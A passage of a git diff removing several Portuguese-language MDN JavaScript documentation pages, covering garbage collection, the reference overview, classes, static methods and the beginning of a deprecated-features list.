-oa = null; // A propriedade 'a' do objeto original 'o'
- // tem zero referências a si próprio. Pode ser coletado para a coleção de lixo.
-</pre>
-
-<h4 id="Limitação_ciclos">Limitação: ciclos</h4>
-
-<p>Existe uma limitação no que se refere aos ciclos. No exemplo seguinte, dois objetos são criados e referenciam-se mutuamente, criando um ciclo. Estes sairão do âmbito depois de uma chamada a uma função e como tal, são efetivamente inúteis e podem ser libertados. No entanto, o algoritmo de contagem de referências considera que os dois objetos têm pelo menos uma referenciação; nenhum pode ser coletado para a coleção de lixo .</p>
-
-<pre class="brush: js">function f() {
- var o = {};
- var o2 = {};
- o.a = o2; // o referencia o2
- o2.a = o; // o2 referencia o
-
- return 'azerty';
-}
-
-f();
-</pre>
-
-<h4 id="Exemplo_de_aplicação_real">Exemplo de aplicação real</h4>
-
-<p>O Internet Explorer 6 e 7 são conhecidos por terem um coletor de contagem de referenciações de coleções de lixo para os objetos DOM. Os ciclos são um erro comum que podem gerar percas de memória:</p>
-
-<pre class="brush: js">var div;
-window.onload = function() {
- div = document.getElementById('myDivElement');
- div.circularReference = div;
- div.lotsOfData = new Array(10000).join('*');
-};
-</pre>
-
-<p>No exemplo acima, o elemento DOM "myDivElement" tem uma referência circular a si próprio na propriedade "circularReference". Se a propriedade não for explicitamente removida ou anulada, o coletor de contagem de referências da coleção de lixo, irá sempre ter uma referenciação intacta e irá manter o elemento DOM na memória mesmo quando for removido da árvore DOM. Se o elemento DOM contém bastante dados ( ilustrado no exemplo acima com a propriedade "lotsOfData" ), a memória consumida por estes dados nunca será libertada.</p>
-
-<h3 id="Algoritmo_de_marcação_e_limpeza">Algoritmo de marcação e limpeza</h3>
-
-<p>Este algoritmo reduz a definição de "um objeto já não é necessário" para "um objeto é inalcançável".</p>
-
-<p>Este algoritmo assume o conhecimento de um conjunto de objetos chamados "roots" ( em JavaScript, a <em>root</em> - raiz - é um objeto global ). Periodicamente, a coleção de lixo começará pela raíz e procurará todos os objetos que são referenciados a partir desta; depois todos os que são referenciados a partir dos seguintes, etc.. Começando pela raiz, o coletor de lixo irá localizar objetos inalcançáveis; coletando-os.</p>
-
-<p>Este algoritmo é melhor do que o anterior dado que "um objeto tem zero referenciações" leva a um objeto inalcançável. O contrário não é verdade como vimos nos ciclos.</p>
-
-<p>Desde 2012, todos os modernos navegadores de Internet contêm um coletor de marcação e limpeza. Todos os melhoramentos feitos na área da coleção de lixo no JavaScript ( generalização / incrementação / concorrência / coleção de lixo paralela ) nos últimos anos são implemetações de melhoramento deste algoritmo, mas não melhoramentos do algoritmo de coleção de lixo em si nem a sua redução à definição de que quando "um objeto já não é necessário".</p>
-
-<h4 id="Os_ciclos_já_não_são_um_problema.">Os ciclos já não são um problema.</h4>
-
-<p>No primeiro exemplo acima, depois do retorno da chamada à função, 2 objetos já não são referenciados por algo alcançável no objeto global. Consequentemente, irão ser localizados pelo coletor da coleção de lixo.</p>
-
-<h4 id="Limitações_os_objetos_necessitam_de_ser_explicitamente_inalcançáveis">Limitações: os objetos necessitam de ser explicitamente inalcançáveis</h4>
-
-<p>Apesar disto estar marcado como uma limitação, é um caso que raramente ocorre na prática pelo que é por isto que ninguém se preocupa muito com a coleção de lixo.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-memleak/">Aritgo da IBM sobre "Padrões de percas de memória no JavaScript" (2007)</a></li>
- <li><a class="external" href="http://msdn.microsoft.com/en-us/magazine/ff728624.aspx">Artigo da Kangax sobre como registar um apontador de evento e evitar percas de memória (2010)</a></li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Performance" title="https://developer.mozilla.org/en-US/docs/Mozilla/Performance">Desempenho</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/about/index.html b/files/pt-pt/web/javascript/reference/about/index.html
deleted file mode 100644
index 2f9aaa49ac..0000000000
--- a/files/pt-pt/web/javascript/reference/about/index.html
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: Sobre a referência de JavaScript
-slug: Web/JavaScript/Reference/About
-tags:
- - JavaScript
-translation_of: Web/JavaScript/Reference/About
-original_slug: Web/JavaScript/Reference/Sobre
----
-<div>{{JsSidebar}}</div>
-
-<p>The JavaScript reference serves as a repository of facts about the JavaScript language. The entire language is described here in detail. As you write JavaScript code, you'll refer to these pages often (thus the title "JavaScript reference"). If you're learning JavaScript, or need help understanding some of its capabilities or features, check out the <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript guide</a>.</p>
-
-<p>The JavaScript language is intended to be used within some larger environment, be it a browser, server-side scripts, or similar. For the most part, this reference attempts to be environment-agnostic and does not target a web browser environment.</p>
-
-<h2 id="Onde_encontrar_informação_sobre_JavaScript">Onde encontrar informação sobre JavaScript</h2>
-
-<p>JavaScript documentation of core language features (pure <a href="/en-US/docs/Web/JavaScript/Language_Resources">ECMAScript</a>, for the most part) includes the following:</p>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/JavaScript/Guia">Guia de JavaScript</a></li>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference">Referência JavaScript</a></li>
-</ul>
-
-<p>If you are new to JavaScript, start with the <a href="/en-US/docs/Web/JavaScript/Guide">guide</a>. Once you have a firm grasp of the fundamentals, you can use the <a href="/en-US/docs/Web/JavaScript/Reference">reference</a> to get more details on individual objects and language constructs.</p>
-
-<h2 id="Estrutura_da_referência">Estrutura da referência</h2>
-
-<p>In the JavaScript reference you can find the following chapters:</p>
-
-<dl>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">Standard built-in objects</a></dt>
- <dd>This chapter documents all the JavaScript standard built-in objects, along with their methods and properties.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Statements">Statements and declarations</a></dt>
- <dd>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Expressions and operators</a></dt>
- <dd>This chapter documents all the JavaScript language operators, expressions and keywords.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></dt>
- <dd>Chapter about JavaScript functions.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></dt>
- <dd>Chapter about JavaScript classes introduced in ECMAScript 6.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Errors">Errors</a></dt>
- <dd>Chapter about specific errors, exceptions and warnings thrown by JavaScript.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a></dt>
- <dd>Chapter about JavaScript version history.</dd>
-</dl>
-
-<h3 id="Mais_páginas_de_referência">Mais páginas de referência</h3>
-
-<ul>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Web/JavaScript/Reference/Funcionalidades_obsoletas">Funcionalidades obsoletas</a></li>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference/Gramatica_lexical">Gramática Lexical</a></li>
- <li><a href="/pt-PT/docs/Web/JavaScript/Estruturas_de_dados">Tipos de dados e estruturas de dados</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/classes/index.html b/files/pt-pt/web/javascript/reference/classes/index.html
deleted file mode 100644
index 03ff413025..0000000000
--- a/files/pt-pt/web/javascript/reference/classes/index.html
+++ /dev/null
@@ -1,437 +0,0 @@
----
-title: Classes
-slug: Web/JavaScript/Reference/Classes
-tags:
- - Classes
- - Construtores
- - ECMAScript 2015
- - Herança
- - Intermedio
- - JavaScript
-translation_of: Web/JavaScript/Reference/Classes
----
-<div>{{JsSidebar("Classes")}}</div>
-
-<p>Classes JavaScript , introduzidas no ECMAScript de 2015, são principalemente syntactical sugar sobre a herança baseada em prototipagem do JavaScript. A sintaxe de classe <strong>não </strong>introduz no JavaScript nenhum novo modelo de herança do paradigma das linguagens orientado a objetos .</p>
-
-<h2 id="Definição_de_classes">Definição de classes</h2>
-
-<p>As classes são na realidade "<a href="/en-US/docs/Web/JavaScript/Reference/Functions">funções</a> especiais", e, tal como você pode definir o <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">expressões de funções</a> e <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">declarações de funções</a>, a sintaxe de classe tem dois componentes: <a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">expressões de classes</a> e a <a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">declaração da classe</a>.</p>
-
-<h3 id="Declaração_de_classes">Declaração de classes</h3>
-
-<p>Uma forma de definir uma classe é usar uma <strong>declaração de classe</strong>. Para declarar uma classe, utiliza-se a palavra reservada <code>class</code> seguida do nome da classe ("Rectangle" no seguinte exemplo).</p>
-
-<pre class="brush: js">class Rectangle {
- constructor(height, width) {
- this.height = height;
- this.width = width;
- }
-}</pre>
-
-<h4 id="Hoisting">Hoisting</h4>
-
-<p>Uma diferença importante entre a <strong>declaração de funções</strong> e a <strong>declaração de classes</strong> é que a declaração de funções são {{Glossary("Hoisting", "hoisted")}} e a declaração de classes não. É preciso primeiro declarar a classe e só depois aceder-lhe, caso contrário, como no código que se segue, será lançada uma {{jsxref("ReferenceError")}}:</p>
-
-<pre class="brush: js example-bad">var p = new Rectangle(); // ReferenceError
-
-class Rectangle {}
-</pre>
-
-<h3 id="Expressão_de_Classe">Expressão de Classe</h3>
-
-<p>A <strong>expressão de classe</strong> é outra forma de definir uma classe. As expressões de classes podem ter nome o ser anónimas. O nome dado a uma expressão de classe é local ao corpo da classe. (ainda assim pode ser obtido através do propriedade <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/name">.name</a> da classe (não da instância) )</p>
-
-<pre class="brush: js">// unnamed
-var Rectangle = class {
- constructor(height, width) {
- this.height = height;
- this.width = width;
- }
-};
-
-// named
-var Rectangle = class Rectangle {
- constructor(height, width) {
- this.height = height;
- this.width = width;
- }
-};
-</pre>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> <strong>Expressões </strong>de classes também padecem da mesma situação de hoisting mencionada para as <strong>declarações </strong>de classes.</p>
-</div>
-
-<h2 id="Definição_de_corpo_de_classe_e_de_método">Definição de corpo de classe e de método</h2>
-
-<p>O corpo da classe é a parte que está entre as chavetas <code>{}</code>. É aqui que são definidos os membros da classe, tais como, métodos e construtores.</p>
-
-<h3 id="Strict_mode_-_modo_estrito">Strict mode - modo estrito</h3>
-
-<p>Os corpos da <em>declaração de classes </em>e da <em>expressão de classes </em>são executados em <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> i.e. construtor, métodos estáticos e de prototipo, funções getter e setter são executadas em modo estrito.</p>
-
-<h3 id="Construtor_(constructor)">Construtor (<em>constructor</em>)</h3>
-
-<p>O método <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">constructor</a></code> é um método especial para criar e inicializar um objto criado de uma <code>class</code>. Numa classe, apenas pode existir um método especial com o nome "constructor". Se a classe tiver mais do que uma occorrência de um método <code>constructor</code> será lançada uma  {{jsxref("SyntaxError")}}.</p>
-
-<p>Um construtor pode utlizar a palavra reservada <code>super</code> para invocar o construtor da classe pai.</p>
-
-<h3 id="Métodos_de_Prototype">Métodos de Prototype </h3>
-
-<p>Ver também <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">definição de métodos</a>.</p>
-
-<pre class="brush: js">class Rectangle {
- constructor(height, width) {
- this.height = height;
- this.width = width;
- }
- // Getter
- get area() {
- return this.calcArea();
- }
- // Method
- calcArea() {
- return this.height * this.width;
- }
-}
-
-const square = new Rectangle(10, 10);
-
-console.log(square.area); // 100</pre>
-
-<h3 id="Métodos_estáticos">Métodos estáticos</h3>
-
-<p>A palavra reservada <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code> define um método como estático para uma classe. Os métodos estáticos são chamados sem <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_object_(class_instance)" title='An example of class instance is "var john = new Person();"'>instanciarem </a>as suas classes e <strong>não podem </strong>ser chamados a partir de instâncias da classe. Os métodos estáticos são frequentemente utilizados para criar funções utilitárias para uma aplicação.</p>
-
-<pre class="brush: js">class Point {
- constructor(x, y) {
- this.x = x;
- this.y = y;
- }
-
- static distance(a, b) {
- const dx = a.x - b.x;
- const dy = a.y - b.y;
-
- return Math.hypot(dx, dy);
- }
-}
-
-const p1 = new Point(5, 5);
-const p2 = new Point(10, 10);
-
-console.log(Point.distance(p1, p2)); // 7.0710678118654755</pre>
-
-<h3 id="Boxing_com_métodos_estáticos_e_de_protótipo">Boxing com métodos estáticos e de protótipo </h3>
-
-<p>Quando um método estático é chamado sem um objeto correspondente ao "this", o valor do "this" é então <code>undefined</code> dentro do método chamado. O comportamento será o mesmo, mesmo que a diretiva <code>"use strict"</code> não esteja presente, isto porque o código contido no limite sintático do corpo da <code>class</code> é sempre executado em modo estrito.</p>
-
-<pre class="brush: js">class Animal {
- speak() {
- return this;
- }
- static eat() {
- return this;
- }
-}
-
-let obj = new Animal();
-obj.speak(); // Animal {}
-let speak = obj.speak;
-speak(); // undefined
-
-Animal.eat() // class Animal
-let eat = Animal.eat;
-eat(); // undefined</pre>
-
-<p> </p>
-
-<p>Se o texto acima for escrito usando a sintaxe tradicional baseada em função, o autooboxing ocorrerá nas chamadas de método no modo não estrito com base no valor inicial do <em>this</em>. Se o valor inicial for <code>undefined</code>, isso será definido para o objeto global.</p>
-
-<p>Autoboxing não acontecerá no modo estrito, o valor do <em>this </em>permanece como passado ao método.</p>
-
-<p> </p>
-
-<pre><code>function Animal() { }
-
-Animal.prototype.speak = function() {
- return this;
-}
-
-Animal.eat = function() {
- return this;
-}
-
-let obj = new Animal();
-let speak = obj.speak;
-speak(); // global object
-
-let eat = Animal.eat;
-eat(); // global object</code></pre>
-
-<h3 id="Propriedades_de_instância">Propriedades de instância</h3>
-
-<p>Propriedades de instância devem ser definidas dentro de métodos da classe:</p>
-
-<pre><code>class Rectangle {
- constructor(height, width) {
- this.height = height;
- this.width = width;
- }
-}</code></pre>
-
-<p>Propriedades estáticas da classe e propriedades de dados do protótipo devem ser definidas fora da declaração do ClassBody:</p>
-
-<pre><code>Rectangle.staticWidth = 20;
-Rectangle.prototype.prototypeWidth = 25;</code></pre>
-
-<h3 id="Declaração_de_campos_(Field)">Declaração de campos (<em>Field</em>)</h3>
-
-<div class="blockIndicator warning">
-<p>Declarações de campo públicos e privados são uma <a href="https://github.com/tc39/proposal-class-fields">funcionalidade experimental (stage 3)</a>  proposta no <a href="https://tc39.github.io/beta/">TC39</a>, o comité de padrões JavaScript. O suporte nos navegadores é limitado, mas a funcionalidade pode ser usada por meio de uma etapa de <em>build</em> com sistemas como o <a href="https://babeljs.io/">Babel</a>.</p>
-</div>
-
-<h4 id="Declaração_de_campos_(field_)_públicos">Declaração de campos (<em>field </em>) públicos</h4>
-
-<p>Com a sintaxe de declaração de campo JavaScript, o exemplo acima pode ser escrito como:</p>
-
-<pre><code>class Rectangle {
- height = 0;
- width;
- constructor(height, width) {
- this.height = height;
- this.width = width;
- }
-}</code></pre>
-
-<p> </p>
-
-<p>Ao declarar campos antecipadamente, as definições de classe se tornam mais autodocumentadas e os campos estão sempre presentes.</p>
-
-<p>Como visto acima, os campos podem ser declarados com ou sem um valor padrão.</p>
-
-<p> </p>
-
-<h4 id="Declaração_de_campos_(field)_privados">Declaração de campos (<em>field</em>) privados </h4>
-
-<p>Usando campos privados, a definição pode ser refinada como abaixo.</p>
-
-<pre><code>class Rectangle {
- #height = 0;
- #width;
- constructor(height, width) {
- this.#height = height;
- this.#width = width;
- }
-}</code></pre>
-
-<p> </p>
-
-<p>É um erro referenciar campos privados de fora da classe. eles só podem ser lidos ou escritos dentro do corpo da classe. Ao definir coisas que não são visíveis fora da classe, você garante que os utilizadores das suas classes não dependeram de estruturas internas, que podem mudar a versão para a versão.</p>
-
-<div class="blockIndicator note">
-<p>Campos privados só podem ser declarados antecipadamente numa declaração de campo.</p>
-</div>
-
-<p>Os campos privados não podem ser criados posteriormente através da sua afetação, como se pode fazer com as propriedades normais.</p>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<h2 id="Derivação_de_classes_com_extends">Derivação de classes com <code>extends</code></h2>
-
-<p>A palavra reservada <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> é utilizada na <em>declaração de classes </em>ou na <em>expressão de classes</em> para criar uma classe filha ou derivada de outra .</p>
-
-<pre class="brush: js">class Animal {
- constructor(name) {
- this.name = name;
- }
-
- speak() {
- console.log(this.name + ' makes a noise.');
- }
-}
-
-class Dog extends Animal {
- speak() {
- console.log(this.name + ' barks.');
- }
-}
-
-var d = new Dog('Mitzie');
-d.speak(); // Mitzie barks.
-</pre>
-
-<p>Se houver um construtor presente numa classe derivada, este precisa de chamar super() antes de utilizar o "this".</p>
-
-<p>A tradicionais "classes" function-based podem também ser extendidas:</p>
-
-<pre class="brush: js">function Animal (name) {
- this.name = name;
-}
-
-Animal.prototype.speak = function () {
- console.log(this.name + ' makes a noise.');
-}
-
-class Dog extends Animal {
- speak() {
- console.log(this.name + ' barks.');
- }
-}
-
-var d = new Dog('Mitzie');
-d.speak(); // Mitzie barks.
-</pre>
-
-<p>É de notar que uma classe não pode estender um objeto regular (non-constructible). Alternativamente, para se criar herança a partir de um objeto regular, deve ser usado {{jsxref("Object.setPrototypeOf()")}}:</p>
-
-<pre class="brush: js">var Animal = {
- speak() {
- console.log(this.name + ' makes a noise.');
- }
-};
-
-class Dog {
- constructor(name) {
- this.name = name;
- }
-}
-
-// If you do not do this you will get a TypeError when you invoke speak
-Object.setPrototypeOf(Dog.prototype, Animal);
-
-var d = new Dog('Mitzie');
-d.speak(); // Mitzie makes a noise.
-</pre>
-
-<h2 id="Espécies">Espécies</h2>
-
-<p>Se quiser devolver um objeto do tipo {{jsxref("Array")}} na sua classe derivada <code>MyArray</code>. O padrão espécies permite-lhe redefinir o construtor por omissão.</p>
-
-<p>Por exemplo, na utilização de um método como o {{jsxref("Array.map", "map()")}}, o qual devolve o construtor por omissão, querer-se-á que estes métodos devolvam um objeto pai do tipo <code>Array</code>, em vez de um objeto <code>MyArray</code>. O símbolo {{jsxref("Symbol.species")}} permite fazer isto:</p>
-
-<pre class="brush: js">class MyArray extends Array {
- // Overwrite species to the parent Array constructor
- static get [Symbol.species]() { return Array; }
-}
-
-var a = new MyArray(1,2,3);
-var mapped = a.map(x =&gt; x * x);
-
-console.log(mapped instanceof MyArray); // false
-console.log(mapped instanceof Array); // true
-</pre>
-
-<h2 id="Chamadas_à_super_classe_com_super">Chamadas à super classe com <code>super</code></h2>
-
-<p>A palavra reservada <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></code> é utilizada para chamar funções no objeto pai do objeto.</p>
-
-<pre class="brush: js">class Cat {
- constructor(name) {
- this.name = name;
- }
-
- speak() {
- console.log(this.name + ' makes a noise.');
- }
-}
-
-class Lion extends Cat {
- speak() {
- super.speak();
- console.log(this.name + ' roars.');
- }
-}
-
-var l = new Lion('Fuzzy');
-l.speak();
-// Fuzzy makes a noise.
-// Fuzzy roars.
-
-</pre>
-
-<h2 id="Mix-ins">Mix-ins</h2>
-
-<p>A subclasses abstratas ou <em>mix-ins</em> são templates para classes. Uma classe ECMAScript apenas pode ter uma única superclasse, Portanto, múltiplas heranças de classes de ferramentas, por exemplo, não são possíveis. A funcionalidade deve ser fornecida pela superclasse.</p>
-
-<p>Uma função com uma superclasse como entrada e uma subclasse estendendo aquela superclasse como saída pode ser usada para implementar mix-ins no ECMAScript.:</p>
-
-<pre class="brush: js">var calculatorMixin = Base =&gt; class extends Base {
- calc() { }
-};
-
-var randomizerMixin = Base =&gt; class extends Base {
- randomize() { }
-};
-</pre>
-
-<p>Uma classe que usa esses mix-ins pode ser escrita assim:</p>
-
-<pre class="brush: js">class Foo { }
-class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
- <td>{{Spec2('ES2015')}}</td>
- <td>Definição inicial.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}</td>
- <td>{{Spec2('ES2016')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}</td>
- <td>{{Spec2('ES2017')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_no_Browser">Compatibilidade no Browser </h2>
-
-<div class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, consulte: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pull request.</div>
-
-<p>{{Compat("javascript.classes")}}</p>
-
-<h2 id="Executar_no_Scratchpad">Executar no Scratchpad</h2>
-
-<p>Uma classe não pode ser redefinida. Se estiver a escrever código no Scratchpad (Firefox menu Tools &gt; Web Developer &gt; Scratchpad) e se 'executar' a definição de uma classe com o mesmo nome duas vezes, irá receber um obscuro SyntaxError: redeclaration of let &lt;class-name&gt;.</p>
-
-<p>Para voltar a executar uma definição, utilise o menu Scratchpad's Execute &gt; Reload and Run.<br>
- Vote, por favor, no bug <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1428672">#1428672</a>.</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
- <li>{{jsxref("Operators/super", "super")}}</li>
- <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">Blog post: "ES6 In Depth: Classes"</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/classes/static/index.html b/files/pt-pt/web/javascript/reference/classes/static/index.html
deleted file mode 100644
index 9cb5c48367..0000000000
--- a/files/pt-pt/web/javascript/reference/classes/static/index.html
+++ /dev/null
@@ -1,131 +0,0 @@
----
-title: static
-slug: Web/JavaScript/Reference/Classes/static
-translation_of: Web/JavaScript/Reference/Classes/static
----
-<div>{{jsSidebar("Classes")}}</div>
-
-<p>A palavra-chave <code><strong>static</strong></code> define um método estático para uma classe.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/classes-static.html")}}</div>
-
-
-
-<h2 id="Síntaxe">Síntaxe</h2>
-
-<pre class="syntaxbox">static <em>nomeDoMetodo</em>() { ... }</pre>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Métodos estáticos são chamados diretamente na classe mas não em instâncias da mesma. Estes são regularmente utilizados para criar funções utilitárias.</p>
-
-<h2 id="Como_chamar_métodos_estáticos">Como chamar métodos estáticos</h2>
-
-<h3 id="Noutro_método_estático">Noutro método estático</h3>
-
-<p>Para chamar um método estático dentro de outro que pertença à mesma classe, pode-se usar a palavra-chave <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>.</p>
-
-<pre class="brush: js">class StaticMethodCall {
- static staticMethod() {
- return 'Metodo estatico foi invocado';
- }
- static anotherStaticMethod() {
- return this.staticMethod() + ' dentro de outro';
- }
-}
-StaticMethodCall.staticMethod();
-// 'Metodo estatico foi invocado'
-
-StaticMethodCall.anotherStaticMethod();
-// 'Metodo estatico foi invocado dentro de outro'</pre>
-
-<h3 id="No_construtor_de_classe_e_noutros_métodos">No construtor de classe e noutros métodos</h3>
-
-<p>Métodos estáticos não são acessíveis através da palavra-chave <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> quando dentro de métodos não-estáticos. É preciso chamá-los ou através do nome da própria classe: <code>CLASSNAME.STATIC_METHOD_NAME()</code> ou como propriedade do construtor da classe: <code>this.constructor.STATIC_METHOD_NAME()</code>.</p>
-
-<pre class="brush: js">class StaticMethodCall {
- constructor() {
- console.log(StaticMethodCall.staticMethod());
- // 'metodo estatico foi invocado.'
-
- console.log(this.constructor.staticMethod());
- // 'metodo estatico foi invocado.'
- }
-
- static staticMethod() {
- return 'metodo estatico foi invocado.';
- }
-}</pre>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Os seguintes exemplos demonstram:</p>
-
-<ol>
- <li>Como implementar um método estático numa classe.</li>
- <li>Que se podem criar sub-classes a partir de uma classe com um membro estático (e usá-los).</li>
- <li>Como se pode chamar um método estático (com contra-exemplos).</li>
-</ol>
-
-<pre class="brush: js">class Triple {
- static triple(n) {
- if (n === undefined) {
- n = 1;
- }
- return n * 3;
- }
-}
-
-class BiggerTriple extends Triple {
- static triple(n) {
- return super.triple(n) * super.triple(n);
- }
-}
-
-console.log(Triple.triple()); // 3
-console.log(Triple.triple(6)); // 18
-
-var tp = new Triple();
-
-console.log(BiggerTriple.triple(3));
-// 81 (não foi afetado pela instanciação do pai)
-
-console.log(tp.triple());
-// 'tp.triple is not a function'. (não é função)
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES2015', '#sec-class-definitions', 'Definições de Classe')}}</td>
- <td>{{Spec2('ES2015')}}</td>
- <td>Definição inicial.</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Definições de Classe')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_browsers">Compatibilidade de browsers</h2>
-
-
-
-<p>{{Compat("javascript.classes.static")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">expressão <code>class</code></a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">declaração <code>class</code></a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/deprecated_and_obsolete_features/index.html b/files/pt-pt/web/javascript/reference/deprecated_and_obsolete_features/index.html
deleted file mode 100644
index db64832bf4..0000000000
--- a/files/pt-pt/web/javascript/reference/deprecated_and_obsolete_features/index.html
+++ /dev/null
@@ -1,290 +0,0 @@
----
-title: Funcionalidades obsoletas
-slug: Web/JavaScript/Reference/Deprecated_and_obsolete_features
-tags:
- - JavaScript
- - Obsoleto
-translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features
-original_slug: Web/JavaScript/Reference/Funcionalidades_obsoletas
----
-<div>{{JsSidebar("More")}}</div>
-
-<p>Esta página lista as funcionalidades de JavaScript que estão obsoletas (ou seja, ainda disponíveis, mas planeadas para remoção) e obsoletas (isto é, não são mais utilizáveis).</p>
-
-<h2 id="Funcionalidades_obsoletas">Funcionalidades obsoletas</h2>
-
-<p>Estas funcionalidades obsoletas ainda podem ser utilziadas, mas devem ser utilizadas ​​com cuidado, pois espera-se que estas sejam removidas inteiramente no futuro. Deverá trabalhar para remover a utilização das mesmas do seu código..</p>
-
-<h3 id="Propriedades_de_RegExp">Propriedades de RegExp</h3>
-
-<p>The following properties are deprecated. This does not affect their use in {{jsxref("String.replace", "replacement strings", "", 1)}}:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Propriedades</th>
- <th>Descrição</th>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.n", "$1-$9")}}</td>
- <td>
- <p>Parenthesized substring matches, if any.<br>
- <strong>Warning:</strong> Using these properties can result in problems, since browser extensions can modify them. Avoid them!</p>
- </td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.input", "$_")}}</td>
- <td>See <code>input</code>.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.multiline", "$*")}}</td>
- <td>See <code>multiline</code>.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.lastMatch", "$&amp;")}}</td>
- <td>See <code>lastMatch</code>.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.lastParen", "$+")}}</td>
- <td>See <code>lastParen</code>.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.leftContext", "$`")}}</td>
- <td>See <code>leftContext</code>.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.rightContext", "$'")}}</td>
- <td>See <code>rightContext</code>.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.input", "input")}}</td>
- <td>The string against which a regular expression is matched.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.lastMatch", "lastMatch")}}</td>
- <td>The last matched characters.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.lastParen", "lastParen")}}</td>
- <td>The last parenthesized substring match, if any.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.leftContext", "leftContext")}}</td>
- <td>The substring preceding the most recent match.</td>
- </tr>
- <tr>
- <td>{{jsxref("RegExp.rightContext", "rightContext")}}</td>
- <td>The substring following the most recent match.</td>
